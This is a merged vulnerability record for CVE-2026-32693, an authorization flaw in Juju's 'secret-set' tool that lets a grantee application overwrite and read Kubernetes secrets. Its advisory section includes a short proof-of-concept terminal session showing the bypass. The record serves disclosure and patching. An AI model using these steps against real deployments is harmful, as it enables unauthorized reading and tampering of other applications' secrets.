{"id":"CVE-2026-32693","aliases":["CVE-2026-32693","GHSA-439w-v2p7-pggc","GO-2026-4777"],"related":[],"kind":"vulnerability","state":"published","title":"Unauthorized access to Kubernetes secrets in Juju","summary":"In Juju from version 3.0.0 through 3.6.18, the authorization of the \"secret-set\" tool is not performed correctly, which allows a grantee to update the secret content, and can lead to reading or updating other secrets. When the \"secret-set\" tool logs an error in an exploitation attempt, the secret is still updated contrary to expectations, and the new value is visible to both the owner and the grantee.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"In Juju from version 3.0.0 through 3.6.18, the authorization of the \"secret-set\" tool is not performed correctly, which allows a grantee to update the secret content, and can lead to reading or updating other secrets. When the \"secret-set\" tool logs an error in an exploitation attempt, the secret is still updated contrary to expectations, and the new value is visible to both the owner and the grantee.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nGrantee is able to update secret content using the `secret-set` tool due to broad Kubernetes access policy.\nImplications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.\n\n### Details\n\nWhen a Juju secret is \"granted\" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.\n\nAuthorization of the `secret-set` hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.\n\n### PoC\n\nTested:\n- two applications in the same controller, same model: one owns the secret, another get a grant\n- relation between them\n- secret grant\n- Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI\n\nNot tested:\n- admin (user) secrets\n- cross-model relations\n- cross-controller relations\n\n```command\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 \"secret-add nice=little-value\"\nsecret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0\ningress2/0:\n  workload-version: 24.2.0\n  opened-ports: []\n  charm: ch:amd64/nginx-ingress-integrator-203\n  leader: true\n  life: alive\n  relation-info:\n  - relation-id: 11\n    endpoint: ingress\n    related-endpoint: ingress\n    application-data: {}\n    related-units:\n      evilator/0:\n        in-scope: true\n        data:\n          egress-subnets: 10.152.183.39/32\n          ingress-address: 10.152.183.39\n          private-address: 10.152.183.39\n  - relation-id: 10\n    endpoint: nginx-peers\n    related-endpoint: nginx-peers\n    application-data: {}\n    local-unit:\n      in-scope: true\n      data:\n        egress-subnets: 10.152.183.135/32\n        ingress-address: 10.152.183.135\n        private-address: 10.152.183.135\n  provider-id: ingress2-0\n  address: 10.1.0.100\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 \"secret-grant d350nbnmp25c76301ht0 --relation 11\" \n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 \"secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now\" \nupdating secrets: permission denied\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 \"secret-get d350nbnmp25c76301ht0\" \nnice: who-is-nice-now\n```\n\nWhen the grantee attempts to update the the granted secret:\n\n- `secret-set` command logs an error, though returns OK return status\n- the secret value is updated\n- new secret revision is not created\n- new value is visible to both owner and grantee\n\n### Impact\n\n- the application that owns the secret\n- a third application, if a secret is granted to multiple parties\n- any other application that has secrets in the same Kubernetes secret backend","format":"markdown","source":"ghsa"},{"lang":"en","text":"Juju has unauthorized access to out-of-scope Kubernetes secrets in github.com/juju/juju","format":"markdown","source":"go"},{"lang":"es","text":"En Juju desde la versión 3.0.0 hasta la 3.6.18, la autorización de la herramienta 'secret-set' no se realiza correctamente, lo que permite a un beneficiario actualizar el contenido del secreto, y puede llevar a la lectura o actualización de otros secretos. Cuando la herramienta 'secret-set' registra un error en un intento de explotación, el secreto aún se actualiza contrariamente a lo esperado, y el nuevo valor es visible tanto para el propietario como para el beneficiario.","source":"nvd"}],"published":"2026-03-18T12:47:02.982Z","modified":"2026-06-17T10:36:13.120Z","severity":{"scorer":"canonical","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"canonical","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-284","CWE-778","CWE-863"],"affected":[{"ranges":[{"type":"semver","introduced":"3.0.0","fixed":"3.6.19","status":"affected"}],"vendor":"Canonical","product":"Juju","package":"juju","repo":"https://github.com/juju/juju","platforms":["Linux"],"source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.0.0-20221021155847-35c560704ee2","status":"affected","fixed":"0.0.0-20260319091847-d06919eb03ec"}],"ecosystem":"Go","package":"github.com/juju/juju","purl":"pkg:golang/github.com/juju/juju","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.0.0-20221021155847-35c560704ee2","status":"affected","fixed":"0.0.0-20260319091847-d06919eb03ec"}],"ecosystem":"Go","package":"github.com/juju/juju","purl":"pkg:golang/github.com/juju/juju","source":"go"},{"ranges":[{"status":"affected","introduced":"3.0.0","fixed":"3.6.19"}],"vendor":"canonical","product":"juju","cpe":"cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/juju/juju/security/advisories/GHSA-439w-v2p7-pggc","tags":["advisory","exploit","vdb-entry","vendor-advisory","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32693","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/juju/juju/commit/d06919eb03ec68156818bcc304b5fe1c39a8f9e9","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/juju/juju","tags":["package"],"sources":["ghsa"]}],"credits":["Dima Tisnek"],"assigner":"canonical","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-03-18T13:16:08.879Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32693","url":"https://www.cve.org/CVERecord?id=CVE-2026-32693","licence":"CVE Terms of Use","modified":"2026-03-18T13:19:58.719Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-439w-v2p7-pggc","url":"https://github.com/advisories/GHSA-439w-v2p7-pggc","licence":"CC-BY-4.0","modified":"2026-03-23T18:56:02.114Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4777","url":"https://pkg.go.dev/vuln/GO-2026-4777","licence":"CC-BY-4.0","modified":"2026-03-23T18:45:20.784Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32693","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32693","licence":"Public domain","modified":"2026-06-17T10:36:13.120Z"}],"updatedAt":"2026-11-25T22:59:16.105Z","epss":{"score":0.00512,"percentile":0.36958,"date":"2026-11-30T12:00:22.000Z"}}